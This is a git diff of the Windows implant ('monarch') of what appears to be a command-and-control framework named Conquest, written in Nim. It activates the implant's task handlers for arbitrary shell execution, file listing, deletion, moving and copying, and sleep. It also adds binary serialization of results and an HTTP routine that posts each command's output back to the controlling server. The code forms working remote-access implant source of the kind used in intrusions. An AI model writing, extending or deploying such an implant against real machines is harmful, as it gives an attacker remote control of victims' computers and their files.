diff --git a/src/agents/monarch/types.nim b/src/agents/monarch/agentTypes.nim
similarity index 82%
rename from src/agents/monarch/types.nim
rename to src/agents/monarch/agentTypes.nim
index 736d1df..4585648 100644
--- a/src/agents/monarch/types.nim
+++ b/src/agents/monarch/agentTypes.nim
@@ -1,6 +1,4 @@
import winim
-import ../../common/types
-export PacketType, ArgType, HeaderFlags, CommandType, StatusType, ResultType, Header, TaskArg, Task, TaskResult
type
ProductType* = enum
diff --git a/src/agents/monarch/agentinfo.nim b/src/agents/monarch/agentinfo.nim
index b559a66..f188cad 100644
--- a/src/agents/monarch/agentinfo.nim
+++ b/src/agents/monarch/agentinfo.nim
@@ -1,6 +1,6 @@
import winim, os, net, strformat, strutils, registry
-import ./[types, utils]
+import ./[agentTypes, utils]
# Hostname/Computername
proc getHostname*(): string =
@@ -88,11 +88,11 @@ proc getProductType(): ProductType =
proc getOSVersion*(): string =
- proc rtlGetVersion(lpVersionInformation: var types.OSVersionInfoExW): NTSTATUS
+ proc rtlGetVersion(lpVersionInformation: var agentTypes.OSVersionInfoExW): NTSTATUS
{.cdecl, importc: "RtlGetVersion", dynlib: "ntdll.dll".}
when defined(windows):
- var osInfo: types.OSVersionInfoExW
+ var osInfo: agentTypes.OSVersionInfoExW
discard rtlGetVersion(osInfo)
# echo $int(osInfo.dwMajorVersion)
# echo $int(osInfo.dwMinorVersion)
diff --git a/src/agents/monarch/commands/commands.nim b/src/agents/monarch/commands/commands.nim
index b4f7498..aea0d4d 100644
--- a/src/agents/monarch/commands/commands.nim
+++ b/src/agents/monarch/commands/commands.nim
@@ -1,3 +1,3 @@
-# import ./[shell, sleep, filesystem]
+import ./[shell, sleep, filesystem]
-# export shell, sleep, filesystem
\ No newline at end of file
+export shell, sleep, filesystem
\ No newline at end of file
diff --git a/src/agents/monarch/commands/filesystem.nim b/src/agents/monarch/commands/filesystem.nim
index b3127a8..8974dd8 100644
--- a/src/agents/monarch/commands/filesystem.nim
+++ b/src/agents/monarch/commands/filesystem.nim
@@ -1,332 +1,270 @@
-# import os, strutils, strformat, base64, winim, times, algorithm, json
+import os, strutils, strformat, winim, times, algorithm
-# import ../common/types
+import ../[agentTypes, utils]
+import ../task/result
+import ../../../common/types
-# # Retrieve current working directory
-# proc taskPwd*(task: Task): TaskResult =
+# Retrieve current working directory
+proc taskPwd*(config: AgentConfig, task: Task): TaskResult =
-# echo fmt"Retrieving current working directory."
+ echo fmt" [>] Retrieving current working directory."
-# try:
+ try:
+ # Get current working directory using GetCurrentDirectory
+ let
+ buffer = newWString(MAX_PATH + 1)
+ length = GetCurrentDirectoryW(MAX_PATH, &buffer)
-# # Get current working directory using GetCurrentDirectory
-# let
-# buffer = newWString(MAX_PATH + 1)
-# length = GetCurrentDirectoryW(MAX_PATH, &buffer)
-
-# if length == 0:
-# raise newException(OSError, fmt"Failed to get working directory ({GetLastError()}).")
+ if length == 0:
+ raise newException(OSError, fmt"Failed to get working directory ({GetLastError()}).")
-# return TaskResult(
-# task: task.id,
-# agent: task.agent,
-# data: encode($buffer[0 ..< (int)length] & "\n"),
-# status: Completed
-# )
+ let output = $buffer[0 ..< (int)length] & "\n"
+ return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, output.toBytes())
-# except CatchableError as err:
-# return TaskResult(
-# task: task.id,
-# agent: task.agent,
-# data: encode(fmt"An error occured: {err.msg}" & "\n"),
-# status: Failed
-# )
+ except CatchableError as err:
+ return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes())
-# # Change working directory
-# proc taskCd*(task: Task): TaskResult =
-# # Parse arguments
-# let targetDirectory = parseJson(task.args)["directory"].getStr()
+# Change working directory
+proc taskCd*(config: AgentConfig, task: Task): TaskResult =
-# echo fmt"Changing current working directory to {targetDirectory}."
+ # Parse arguments
+ let targetDirectory = task.args[0].data.toString()
-# try:
-# # Get current working directory using GetCurrentDirectory
-# if SetCurrentDirectoryW(targetDirectory) == FALSE:
-# raise newException(OSError, fmt"Failed to change working directory ({GetLastError()}).")
+ echo fmt" [>] Changing current working directory to {targetDirectory}."
-# return TaskResult(
-# task: task.id,
-# agent: task.agent,
-# data: encode(""),
-# status: Completed
-# )
+ try:
+ # Get current working directory using GetCurrentDirectory
+ if SetCurrentDirectoryW(targetDirectory) == FALSE:
+ raise newException(OSError, fmt"Failed to change working directory ({GetLastError()}).")
-# except CatchableError as err:
-# return TaskResult(
-# task: task.id,
-# agent: task.agent,
-# data: encode(fmt"An error occured: {err.msg}" & "\n"),
-# status: Failed
-# )
+ return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[])
-# # List files and directories at a specific or at the current path
-# proc taskDir*(task: Task): TaskResult =
+ except CatchableError as err:
+ return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes())
-# # Parse arguments
-# var targetDirectory = parseJson(task.args)["directory"].getStr()
-# echo fmt"Listing files and directories."
+# List files and directories at a specific or at the current path
+proc taskDir*(config: AgentConfig, task: Task): TaskResult =
-# try:
-# # Check if users wants to list files in the current working directory or at another path
+ try:
+ var targetDirectory: string
-# if targetDirectory == "":
-# # Get current working directory using GetCurrentDirectory
-# let
-# cwdBuffer = newWString(MAX_PATH + 1)
-# cwdLength = GetCurrentDirectoryW(MAX_PATH, &cwdBuffer)
+ # Parse arguments
+ case int(task.argCount):
+ of 0:
+ # Get current working directory using GetCurrentDirectory
+ let
+ cwdBuffer = newWString(MAX_PATH + 1)
+ cwdLength = GetCurrentDirectoryW(MAX_PATH, &cwdBuffer)
-# if cwdLength == 0:
-# raise newException(OSError, fmt"Failed to get working directory ({GetLastError()}).")
+ if cwdLength == 0:
+ raise newException(OSError, fmt"Failed to get working directory ({GetLastError()}).")
-# targetDirectory = $cwdBuffer[0 ..< (int)cwdLength]
-
-# # Prepare search pattern (target directory + \*)
-# let searchPattern = targetDirectory & "\\*"
-# let searchPatternW = newWString(searchPattern)
-
-# var
-# findData: WIN32_FIND_DATAW
-# hFind: HANDLE
-# output = ""
-# entries: seq[string] = @[]
-# totalFiles = 0
-# totalDirs = 0
-
-# # Find files and directories in target directory
-# hFind = FindFirstFileW(searchPatternW, &findData)
-
-# if hFind == INVALID_HANDLE_VALUE:
-# raise newException(OSError, fmt"Failed to find files ({GetLastError()}).")
-
-# # Directory was found and can be listed
-# else:
-# output = fmt"Directory: {targetDirectory}" & "\n\n"
-# output &= "Mode LastWriteTime Length Name" & "\n"
-# output &= "---- ------------- ------ ----" & "\n"
+ targetDirectory = $cwdBuffer[0 ..< (int)cwdLength]
+
+ of 1:
+ targetDirectory = task.args[0].data.toString()
+ else:
+ discard
+
+ echo fmt" [>] Listing files and directories in {targetDirectory}."
-# # Process all files and directories
-# while true:
-# let fileName = $cast[WideCString](addr findData.cFileName[0])
+ # Prepare search pattern (target directory + \*)
+ let searchPattern = targetDirectory & "\\*"
+ let searchPatternW = newWString(searchPattern)
+
+ var
+ findData: WIN32_FIND_DATAW
+ hFind: HANDLE
+ output = ""
+ entries: seq[string] = @[]
+ totalFiles = 0
+ totalDirs = 0
+
+ # Find files and directories in target directory
+ hFind = FindFirstFileW(searchPatternW, &findData)
+
+ if hFind == INVALID_HANDLE_VALUE:
+ raise newException(OSError, fmt"Failed to find files ({GetLastError()}).")
+
+ # Directory was found and can be listed
+ else:
+ output = fmt"Directory: {targetDirectory}" & "\n\n"
+ output &= "Mode LastWriteTime Length Name" & "\n"
+ output &= "---- ------------- ------ ----" & "\n"
+
+ # Process all files and directories
+ while true:
+ let fileName = $cast[WideCString](addr findData.cFileName[0])
-# # Skip current and parent directory entries
-# if fileName != "." and fileName != "..":
-# # Get file attributes and size
-# let isDir = (findData.dwFileAttributes and FILE_ATTRIBUTE_DIRECTORY) != 0
-# let isHidden = (findData.dwFileAttributes and FILE_ATTRIBUTE_HIDDEN) != 0
-# let isReadOnly = (findData.dwFileAttributes and FILE_ATTRIBUTE_READONLY) != 0
-# let isArchive = (findData.dwFileAttributes and FILE_ATTRIBUTE_ARCHIVE) != 0
-# let fileSize = (int64(findData.nFileSizeHigh) shl 32) or int64(findData.nFileSizeLow)
+ # Skip current and parent directory entries
+ if fileName != "." and fileName != "..":
+ # Get file attributes and size
+ let isDir = (findData.dwFileAttributes and FILE_ATTRIBUTE_DIRECTORY) != 0
+ let isHidden = (findData.dwFileAttributes and FILE_ATTRIBUTE_HIDDEN) != 0
+ let isReadOnly = (findData.dwFileAttributes and FILE_ATTRIBUTE_READONLY) != 0
+ let isArchive = (findData.dwFileAttributes and FILE_ATTRIBUTE_ARCHIVE) != 0
+ let fileSize = (int64(findData.nFileSizeHigh) shl 32) or int64(findData.nFileSizeLow)
-# # Handle flags
-# var mode = ""
-# if isDir:
-# mode = "d"
-# inc totalDirs
-# else:
-# mode = "-"
-# inc totalFiles
+ # Handle flags
+ var mode = ""
+ if isDir:
+ mode = "d"
+ inc totalDirs
+ else:
+ mode = "-"
+ inc totalFiles
-# if isArchive:
-# mode &= "a"
-# else:
-# mode &= "-"
+ if isArchive:
+ mode &= "a"
+ else:
+ mode &= "-"
-# if isReadOnly:
-# mode &= "r"
-# else:
-# mode &= "-"
+ if isReadOnly:
+ mode &= "r"
+ else:
+ mode &= "-"
-# if isHidden:
-# mode &= "h"
-# else:
-# mode &= "-"
+ if isHidden:
+ mode &= "h"
+ else:
+ mode &= "-"
-# if (findData.dwFileAttributes and FILE_ATTRIBUTE_SYSTEM) != 0:
-# mode &= "s"
-# else:
-# mode &= "-"
+ if (findData.dwFileAttributes and FILE_ATTRIBUTE_SYSTEM) != 0:
+ mode &= "s"
+ else:
+ mode &= "-"
-# # Convert FILETIME to local time and format
-# var
-# localTime: FILETIME
-# systemTime: SYSTEMTIME
-# dateTimeStr = "01/01/1970 00:00:00"
+ # Convert FILETIME to local time and format
+ var
+ localTime: FILETIME
+ systemTime: SYSTEMTIME
+ dateTimeStr = "01/01/1970 00:00:00"
-# if FileTimeToLocalFileTime(&findData.ftLastWriteTime, &localTime) != 0 and FileTimeToSystemTime(&localTime, &systemTime) != 0:
-# # Format date and time in PowerShell style
-# dateTimeStr = fmt"{systemTime.wDay:02d}/{systemTime.wMonth:02d}/{systemTime.wYear} {systemTime.wHour:02d}:{systemTime.wMinute:02d}:{systemTime.wSecond:02d}"
+ if FileTimeToLocalFileTime(&findData.ftLastWriteTime, &localTime) != 0 and FileTimeToSystemTime(&localTime, &systemTime) != 0:
+ # Format date and time in PowerShell style
+ dateTimeStr = fmt"{systemTime.wDay:02d}/{systemTime.wMonth:02d}/{systemTime.wYear} {systemTime.wHour:02d}:{systemTime.wMinute:02d}:{systemTime.wSecond:02d}"
-# # Format file size
-# var sizeStr = ""
-# if isDir:
-# sizeStr = "
"
-# else:
-# sizeStr = ($fileSize).replace("-", "")
+ # Format file size
+ var sizeStr = ""
+ if isDir:
+ sizeStr = ""
+ else:
+ sizeStr = ($fileSize).replace("-", "")
-# # Build the entry line
-# let entryLine = fmt"{mode:<7} {dateTimeStr:<20} {sizeStr:>10} {fileName}"
-# entries.add(entryLine)
+ # Build the entry line
+ let entryLine = fmt"{mode:<7} {dateTimeStr:<20} {sizeStr:>10} {fileName}"
+ entries.add(entryLine)
-# # Find next file
-# if FindNextFileW(hFind, &findData) == 0:
-# break
+ # Find next file
+ if FindNextFileW(hFind, &findData) == 0:
+ break
-# # Close find handle
-# discard FindClose(hFind)
+ # Close find handle
+ discard FindClose(hFind)
-# # Add entries to output after sorting them (directories first, files afterwards)
-# entries.sort do (a, b: string) -> int:
-# let aIsDir = a[0] == 'd'
-# let bIsDir = b[0] == 'd'
+ # Add entries to output after sorting them (directories first, files afterwards)
+ entries.sort do (a, b: string) -> int:
+ let aIsDir = a[0] == 'd'
+ let bIsDir = b[0] == 'd'
-# if aIsDir and not bIsDir:
-# return -1
-# elif not aIsDir and bIsDir:
-# return 1
-# else:
-# # Extract filename for comparison (last part after the last space)
-# let aParts = a.split(" ")
-# let bParts = b.split(" ")
-# let aName = aParts[^1]
-# let bName = bParts[^1]
-# return cmp(aName.toLowerAscii(), bName.toLowerAscii())
+ if aIsDir and not bIsDir:
+ return -1
+ elif not aIsDir and bIsDir:
+ return 1
+ else:
+ # Extract filename for comparison (last part after the last space)
+ let aParts = a.split(" ")
+ let bParts = b.split(" ")
+ let aName = aParts[^1]
+ let bName = bParts[^1]
+ return cmp(aName.toLowerAscii(), bName.toLowerAscii())
-# for entry in entries:
-# output &= entry & "\n"
+ for entry in entries:
+ output &= entry & "\n"
-# # Add summary of how many files/directories have been found
-# output &= "\n" & fmt"{totalFiles} file(s)" & "\n"
-# output &= fmt"{totalDirs} dir(s)" & "\n"
+ # Add summary of how many files/directories have been found
+ output &= "\n" & fmt"{totalFiles} file(s)" & "\n"
+ output &= fmt"{totalDirs} dir(s)" & "\n"
-# return TaskResult(
-# task: task.id,
-# agent: task.agent,
-# data: encode(output),
-# status: Completed
-# )
+ return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, output.toBytes())
-# except CatchableError as err:
-# return TaskResult(
-# task: task.id,
-# agent: task.agent,
-# data: encode(fmt"An error occured: {err.msg}" & "\n"),
-# status: Failed
-# )
+ except CatchableError as err:
+ return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes())
-# # Remove file
-# proc taskRm*(task: Task): TaskResult =
-# # Parse arguments
-# let target = parseJson(task.args)["file"].getStr()
+# Remove file
+proc taskRm*(config: AgentConfig, task: Task): TaskResult =
-# echo fmt"Deleting file {target}."
+ # Parse arguments
+ let target = task.args[0].data.toString()
-# try:
-# if DeleteFile(target) == FALSE:
-# raise newException(OSError, fmt"Failed to delete file ({GetLastError()}).")
+ echo fmt" [>] Deleting file {target}."
-# return TaskResult(
-# task: task.id,
-# agent: task.agent,
-# data: encode(""),
-# status: Completed
-# )
+ try:
+ if DeleteFile(target) == FALSE:
+ raise newException(OSError, fmt"Failed to delete file ({GetLastError()}).")
-# except CatchableError as err:
-# return TaskResult(
-# task: task.id,
-# agent: task.agent,
-# data: encode(fmt"An error occured: {err.msg}" & "\n"),
-# status: Failed
-# )
+ return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[])
-# # Remove directory
-# proc taskRmdir*(task: Task): TaskResult =
+ except CatchableError as err:
+ return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes())
+
-# # Parse arguments
-# let target = parseJson(task.args)["directory"].getStr()
+# Remove directory
+proc taskRmdir*(config: AgentConfig, task: Task): TaskResult =
-# echo fmt"Deleting directory {target}."
+ # Parse arguments
+ let target = task.args[0].data.toString()
-# try:
-# if RemoveDirectoryA(target) == FALSE:
-# raise newException(OSError, fmt"Failed to delete directory ({GetLastError()}).")
+ echo fmt" [>] Deleting directory {target}."
-# return TaskResult(
-# task: task.id,
-# agent: task.agent,
-# data: encode(""),
-# status: Completed
-# )
+ try:
+ if RemoveDirectoryA(target) == FALSE:
+ raise newException(OSError, fmt"Failed to delete directory ({GetLastError()}).")
-# except CatchableError as err:
-# return TaskResult(
-# task: task.id,
-# agent: task.agent,
-# data: encode(fmt"An error occured: {err.msg}" & "\n"),
-# status: Failed
-# )
+ return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[])
-# # Move file or directory
-# proc taskMove*(task: Task): TaskResult =
+ except CatchableError as err:
+ return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes())
-# # Parse arguments
-# echo task.args
-# let
-# params = parseJson(task.args)
-# lpExistingFileName = params["from"].getStr()
-# lpNewFileName = params["to"].getStr()
+# Move file or directory
+proc taskMove*(config: AgentConfig, task: Task): TaskResult =
-# echo fmt"Moving {lpExistingFileName} to {lpNewFileName}."
+ # Parse arguments
+ let
+ lpExistingFileName = task.args[0].data.toString()
+ lpNewFileName = task.args[1].data.toString()
-# try:
-# if MoveFile(lpExistingFileName, lpNewFileName) == FALSE:
-# raise newException(OSError, fmt"Failed to move file or directory ({GetLastError()}).")
+ echo fmt" [>] Moving {lpExistingFileName} to {lpNewFileName}."
-# return TaskResult(
-# task: task.id,
-# agent: task.agent,
-# data: encode(""),
-# status: Completed
-# )
+ try:
+ if MoveFile(lpExistingFileName, lpNewFileName) == FALSE:
+ raise newException(OSError, fmt"Failed to move file or directory ({GetLastError()}).")
-# except CatchableError as err:
-# return TaskResult(
-# task: task.id,
-# agent: task.agent,
-# data: encode(fmt"An error occured: {err.msg}" & "\n"),
-# status: Failed
-# )
+ return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[])
-# # Copy file or directory
-# proc taskCopy*(task: Task): TaskResult =
+ except CatchableError as err:
+ return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes())
-# # Parse arguments
-# let
-# params = parseJson(task.args)
-# lpExistingFileName = params["from"].getStr()
-# lpNewFileName = params["to"].getStr()
-# echo fmt"Copying {lpExistingFileName} to {lpNewFileName}."
+# Copy file or directory
+proc taskCopy*(config: AgentConfig, task: Task): TaskResult =
-# try:
-# # Copy file to new location, overwrite if a file with the same name already exists
-# if CopyFile(lpExistingFileName, lpNewFileName, FALSE) == FALSE:
-# raise newException(OSError, fmt"Failed to copy file or directory ({GetLastError()}).")
+ # Parse arguments
+ let
+ lpExistingFileName = task.args[0].data.toString()
+ lpNewFileName = task.args[1].data.toString()
-# return TaskResult(
-# task: task.id,
-# agent: task.agent,
-# data: encode(""),
-# status: Completed
-# )
+ echo fmt" [>] Copying {lpExistingFileName} to {lpNewFileName}."
-# except CatchableError as err:
-# return TaskResult(
-# task: task.id,
-# agent: task.agent,
-# data: encode(fmt"An error occured: {err.msg}" & "\n"),
-# status: Failed
-# )
\ No newline at end of file
+ try:
+ # Copy file to new location, overwrite if a file with the same name already exists
+ if CopyFile(lpExistingFileName, lpNewFileName, FALSE) == FALSE:
+ raise newException(OSError, fmt"Failed to copy file or directory ({GetLastError()}).")
+
+ return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[])
+
+ except CatchableError as err:
+ return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes())
diff --git a/src/agents/monarch/commands/shell.nim b/src/agents/monarch/commands/shell.nim
index bb8706f..14cbf41 100644
--- a/src/agents/monarch/commands/shell.nim
+++ b/src/agents/monarch/commands/shell.nim
@@ -1,30 +1,35 @@
-import winim, osproc, strutils, strformat, base64, json
+import winim, osproc, strutils, strformat
-import ../common/types
+import ../task/result
+import ../[utils, agentTypes]
+import ../../../common/types
-proc taskShell*(task: Task): TaskResult =
+proc taskShell*(config: AgentConfig, task: Task): TaskResult =
- # # Parse arguments JSON string to obtain specific values
- # let
- # params = parseJson(task.args)
- # command = params["command"].getStr()
- # arguments = params["arguments"].getStr()
+ try:
+ var
+ command: string
+ arguments: string
- # echo fmt"Executing command {command} with arguments {arguments}"
+ # Parse arguments
+ case int(task.argCount):
+ of 1: # Only the command has been passed as an argument
+ command = task.args[0].data.toString()
+ arguments = ""
+ of 2: # The optional 'arguments' parameter was included
+ command = task.args[0].data.toString()
+ arguments = task.args[1].data.toString()
+ else:
+ discard
- # try:
- # let (output, status) = execCmdEx(fmt("{command} {arguments}"))
- # return TaskResult(
- # task: task.id,
- # agent: task.agent,
- # data: encode(output),
- # status: Completed
- # )
+ echo fmt" [>] Executing: {command} {arguments}."
- # except CatchableError as err:
- # return TaskResult(
- # task: task.id,
- # agent: task.agent,
- # data: encode(fmt"An error occured: {err.msg}" & "\n"),
- # status: Failed
- # )
+ let (output, status) = execCmdEx(fmt("{command} {arguments}"))
+
+ if output != "":
+ return createTaskResult(task, cast[StatusType](status), RESULT_STRING, output.toBytes())
+ else:
+ return createTaskResult(task, cast[StatusType](status), RESULT_NO_OUTPUT, @[])
+
+ except CatchableError as err:
+ return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes())
diff --git a/src/agents/monarch/commands/sleep.nim b/src/agents/monarch/commands/sleep.nim
index 0d8ccb8..c1d4331 100644
--- a/src/agents/monarch/commands/sleep.nim
+++ b/src/agents/monarch/commands/sleep.nim
@@ -1,27 +1,23 @@
-# import os, strutils, strformat, base64, json
+import os, strutils, strformat
-# import ../common/types
+import ../[agentTypes, utils]
+import ../task/result
+import ../../../common/[types, serialize]
-# proc taskSleep*(task: Task): TaskResult =
+proc taskSleep*(config: AgentConfig, task: Task): TaskResult =
-# # Parse task parameter
-# let delay = parseJson(task.args)["delay"].getInt()
+ try:
+ # Parse task parameter
+ let delay = int(task.args[0].data.toUint32())
-# echo fmt"Sleeping for {delay} seconds."
+ echo fmt" [>] Sleeping for {delay} seconds."
+
+ sleep(delay * 1000)
+
+ # Updating sleep in agent config
+ config.sleep = delay
+
+ return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[])
-# try:
-# sleep(delay * 1000)
-# return TaskResult(
-# task: task.id,
-# agent: task.agent,
-# data: encode(""),
-# status: Completed
-# )
-
-# except CatchableError as err:
-# return TaskResult(
-# task: task.id,
-# agent: task.agent,
-# data: encode(fmt"An error occured: {err.msg}" & "\n"),
-# status: Failed
-# )
\ No newline at end of file
+ except CatchableError as err:
+ return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes())
diff --git a/src/agents/monarch/http.nim b/src/agents/monarch/http.nim
index 9f4cbaa..527e322 100644
--- a/src/agents/monarch/http.nim
+++ b/src/agents/monarch/http.nim
@@ -1,6 +1,7 @@
import httpclient, json, strformat, asyncdispatch
-import ./[types, utils, agentinfo]
+import ./[agentTypes, utils, agentInfo]
+import ../../common/types
proc register*(config: AgentConfig): string =
@@ -44,32 +45,36 @@ proc getTasks*(config: AgentConfig, agent: string): string =
except CatchableError as err:
# When the listener is not reachable, don't kill the application, but check in at the next time
- echo "[-] [getTasks]: Listener not reachable."
+ echo "[-] [getTasks]: " & err.msg
finally:
client.close()
return ""
-proc postResults*(config: AgentConfig, agent: string, taskResult: TaskResult): bool =
+proc postResults*(config: AgentConfig, taskResult: TaskResult, resultData: seq[byte]): bool =
- # let client = newAsyncHttpClient()
+ let client = newAsyncHttpClient()
- # # Define headers
- # client.headers = newHttpHeaders({ "Content-Type": "application/json" })
+ # Define headers
+ client.headers = newHttpHeaders({
+ "Content-Type": "application/octet-stream",
+ "Content-Length": $resultData.len
+ })
- # let taskJson = %taskResult
+ let body = resultData.toString()
- # echo $taskJson
+ echo body
- # try:
- # # Register agent to the Conquest server
- # discard waitFor client.postContent(fmt"http://{config.ip}:{$config.port}/{config.listener}/{agent}/{taskResult.task}/results", $taskJson)
- # except CatchableError as err:
- # # When the listener is not reachable, don't kill the application, but check in at the next time
- # echo "[-] [postResults]: ", err.msg
- # return false
- # finally:
- # client.close()
+ try:
+ # Send binary task result data to server
+ discard waitFor client.postContent(fmt"http://{config.ip}:{$config.port}/{uuidToString(taskResult.listenerId)}/{uuidToString(taskResult.agentId)}/{uuidToString(taskResult.taskId)}/results", body)
+
+ except CatchableError as err:
+ # When the listener is not reachable, don't kill the application, but check in at the next time
+ echo "[-] [postResults]: " & err.msg
+ return false
+ finally:
+ client.close()
return true
\ No newline at end of file
diff --git a/src/agents/monarch/monarch.nim b/src/agents/monarch/monarch.nim
index 67e5760..8982b8d 100644
--- a/src/agents/monarch/monarch.nim
+++ b/src/agents/monarch/monarch.nim
@@ -1,8 +1,9 @@
import strformat, os, times
import winim
-import ./[types, http]
-import task/handler, task/parser
+import ./[agentTypes, http]
+import task/handler, task/packer
+import ../../common/types
const ListenerUuid {.strdefine.}: string = ""
const Octet1 {.intdefine.}: int = 0
@@ -73,8 +74,13 @@ proc main() =
# Execute all retrieved tasks and return their output to the server
for task in tasks:
- let result: TaskResult = config.handleTask(task)
- discard config.postResults(agent, result)
+ let
+ result: TaskResult = config.handleTask(task)
+ resultData: seq[byte] = serializeTaskResult(result)
+
+ echo resultData
+
+ discard config.postResults(result, resultData)
when isMainModule:
main()
\ No newline at end of file
diff --git a/src/agents/monarch/task/handler.nim b/src/agents/monarch/task/handler.nim
index c2754c9..132d390 100644
--- a/src/agents/monarch/task/handler.nim
+++ b/src/agents/monarch/task/handler.nim
@@ -1,37 +1,22 @@
import strutils, tables, json
-import ../types
+import ../agentTypes
import ../commands/commands
+import ../../../common/types
import sugar
proc handleTask*(config: AgentConfig, task: Task): TaskResult =
- dump task
-
- # var taskResult = TaskResult
- # let handlers = {
- # CMD_SLEEP: taskSleep,
- # CMD_SHELL: taskShell,
- # CMD_PWD: taskPwd,
- # CMD_CD: taskCd,
- # CMD_LS: taskDir,
- # CMD_RM: taskRm,
- # CMD_RMDIR: taskRmdir,
- # CMD_MOVE: taskMove,
- # CMD_COPY: taskCopy
- # }.toTable
+ let handlers = {
+ CMD_SLEEP: taskSleep,
+ CMD_SHELL: taskShell,
+ CMD_PWD: taskPwd,
+ CMD_CD: taskCd,
+ CMD_LS: taskDir,
+ CMD_RM: taskRm,
+ CMD_RMDIR: taskRmdir,
+ CMD_MOVE: taskMove,
+ CMD_COPY: taskCopy
+ }.toTable
# Handle task command
- # taskResult = handlers[task.command](task)
- # echo taskResult.data
-
- # Handle actions on specific commands
- # case task.command:
- # of CMD_SLEEP:
- # if taskResult.status == STATUS_COMPLETED:
- # # config.sleep = parseJson(task.args)["delay"].getInt()
- # discard
- # else:
- # discard
-
- # # Return the result
- # return taskResult
\ No newline at end of file
+ return handlers[cast[CommandType](task.command)](config, task)
\ No newline at end of file
diff --git a/src/agents/monarch/task/parser.nim b/src/agents/monarch/task/packer.nim
similarity index 63%
rename from src/agents/monarch/task/parser.nim
rename to src/agents/monarch/task/packer.nim
index 3b19e1c..12f7d40 100644
--- a/src/agents/monarch/task/parser.nim
+++ b/src/agents/monarch/task/packer.nim
@@ -1,9 +1,7 @@
import strutils, strformat
-import ../types
-import ../utils
-import ../../../common/types
-import ../../../common/serialize
+import ../[agentTypes, utils]
+import ../../../common/[types, serialize]
proc deserializeTask*(bytes: seq[byte]): Task =
@@ -41,12 +39,13 @@ proc deserializeTask*(bytes: seq[byte]): Task =
command = unpacker.getUint16()
var argCount = unpacker.getUint8()
- var args = newSeq[TaskArg](argCount)
+ var args = newSeq[TaskArg]()
# Parse arguments
- while argCount > 0:
+ var i = 0
+ while i < int(argCount):
args.add(unpacker.getArgument())
- dec argCount
+ inc i
return Task(
header: Header(
@@ -87,4 +86,47 @@ proc deserializePacket*(packet: string): seq[Task] =
result.add(deserializeTask(taskBytes))
- dec taskCount
\ No newline at end of file
+ dec taskCount
+
+proc serializeTaskResult*(taskResult: TaskResult): seq[byte] =
+
+ var packer = initPacker()
+
+ # Serialize result body
+ packer
+ .add(taskResult.taskId)
+ .add(taskResult.agentId)
+ .add(taskResult.listenerId)
+ .add(taskResult.timestamp)
+ .add(taskResult.command)
+ .add(taskResult.status)
+ .add(taskResult.resultType)
+ .add(taskResult.length)
+
+ if cast[ResultType](taskResult.resultType) != RESULT_NO_OUTPUT:
+ packer.addData(taskResult.data)
+
+ let body = packer.pack()
+ packer.reset()
+
+ # TODO: Encrypt result body
+
+ # Serialize header
+ packer
+ .add(taskResult.header.magic)
+ .add(taskResult.header.version)
+ .add(taskResult.header.packetType)
+ .add(taskResult.header.flags)
+ .add(taskResult.header.seqNr)
+ .add(cast[uint32](body.len))
+ .addData(taskResult.header.hmac)
+
+ let header = packer.pack()
+
+ # TODO: Calculate and patch HMAC
+
+ return header & body
+
+
+
+
diff --git a/src/agents/monarch/task/result.nim b/src/agents/monarch/task/result.nim
new file mode 100644
index 0000000..5e823ae
--- /dev/null
+++ b/src/agents/monarch/task/result.nim
@@ -0,0 +1,25 @@
+import times
+import ../../../common/types
+
+proc createTaskResult*(task: Task, status: StatusType, resultType: ResultType, resultData: seq[byte]): TaskResult =
+
+ return TaskResult(
+ header: Header(
+ magic: MAGIC,
+ version: VERSION,
+ packetType: cast[uint8](MSG_RESPONSE),
+ flags: cast[uint16](FLAG_PLAINTEXT),
+ seqNr: 1'u32, # TODO: Implement sequence tracking
+ size: 0'u32,
+ hmac: default(array[16, byte])
+ ),
+ taskId: task.taskId,
+ agentId: task.agentId,
+ listenerId: task.listenerId,
+ timestamp: uint32(now().toTime().toUnix()),
+ command: task.command,
+ status: cast[uint8](status),
+ resultType: cast[uint8](resultType),
+ length: uint32(resultData.len),
+ data: resultData,
+ )
\ No newline at end of file
diff --git a/src/agents/monarch/utils.nim b/src/agents/monarch/utils.nim
index 601e04f..5e2c977 100644
--- a/src/agents/monarch/utils.nim
+++ b/src/agents/monarch/utils.nim
@@ -1,5 +1,5 @@
-import strformat
-import ./types
+import strformat, strutils
+import ./agentTypes
proc getWindowsVersion*(info: OSVersionInfoExW, productType: ProductType): string =
let
@@ -67,4 +67,24 @@ proc getWindowsVersion*(info: OSVersionInfoExW, productType: ProductType): strin
proc toString*(data: seq[byte]): string =
result = newString(data.len)
for i, b in data:
- result[i] = char(b)
\ No newline at end of file
+ result[i] = char(b)
+
+proc toBytes*(data: string): seq[byte] =
+ result = newSeq[byte](data.len)
+ for i, c in data:
+ result[i] = byte(c.ord)
+
+proc uuidToUint32*(uuid: string): uint32 =
+ return fromHex[uint32](uuid)
+
+proc uuidToString*(uuid: uint32): string =
+ return uuid.toHex(8)
+
+proc toUint32*(data: seq[byte]): uint32 =
+ if data.len != 4:
+ raise newException(ValueError, "Expected 4 bytes for uint32")
+
+ return uint32(data[0]) or
+ (uint32(data[1]) shl 8) or
+ (uint32(data[2]) shl 16) or
+ (uint32(data[3]) shl 24)
\ No newline at end of file
diff --git a/src/common/serialize.nim b/src/common/serialize.nim
index 8d184b0..ee6f0a7 100644
--- a/src/common/serialize.nim
+++ b/src/common/serialize.nim
@@ -5,7 +5,7 @@ type
Packer* = ref object
stream: StringStream
